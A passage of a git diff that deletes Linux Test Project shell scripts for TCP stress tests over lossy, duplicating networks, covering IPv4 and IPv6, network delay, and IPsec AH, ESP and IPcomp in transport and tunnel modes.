implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup01 -# -# Description: -# Verify that the kernel is not crashed with a unreliable connection to with -# the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Disable window scaling -# - Enable Nagle algorithm -# - Enable TCP Duplicate SACK support -# - Enable SACK Support -# - Some packets are lost -# - Disable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-pktlossdup01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed by a TCP connection on an unreliable network (Namely, some of the packets are lost, some of them is duplicated.)" - -# Make some packets are lost -DO_PACKET_LOSS=true - -# Make some packets are duplicated -DO_PACKET_DUP=true - -# Load tcp4-uni-basic01 -NON_BASIC=true - -. tcp4-uni-basic01 - -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02 deleted file mode 100644 index 983647f3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup02 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03 deleted file mode 100644 index 473b9ad5..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup03 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04 deleted file mode 100644 index b6f22906..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup04 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05 deleted file mode 100644 index 550d21bf..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup05 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06 deleted file mode 100644 index cce7646f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup06 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07 deleted file mode 100644 index 3d2418a5..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup07 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08 deleted file mode 100644 index 9ba8cd3f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup08 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09 deleted file mode 100644 index 59ce9b9b..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup09 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10 deleted file mode 100644 index ac21c395..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup10 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11 deleted file mode 100644 index b0653bfe..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup11 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12 deleted file mode 100644 index 1e4c53ed..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup12 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13 deleted file mode 100644 index 282c32ef..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup13 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14 deleted file mode 100644 index 0154c7cf..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-pktlossdup14 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp4-uni-pktlossdup14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01 deleted file mode 100644 index 370f02e9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup01 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02 deleted file mode 100644 index 40551afc..00000000 --- a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-pktlossdup02 -# -# Description: -# This test is simlar to tcp4-uni-pktlossdup01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-pktlossdup testcase -# - -# The test case ID -TCID=tcp6-uni-pktlossdup02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-pktlossdup01 diff --git a/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03 b/ltp/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03 deleted file 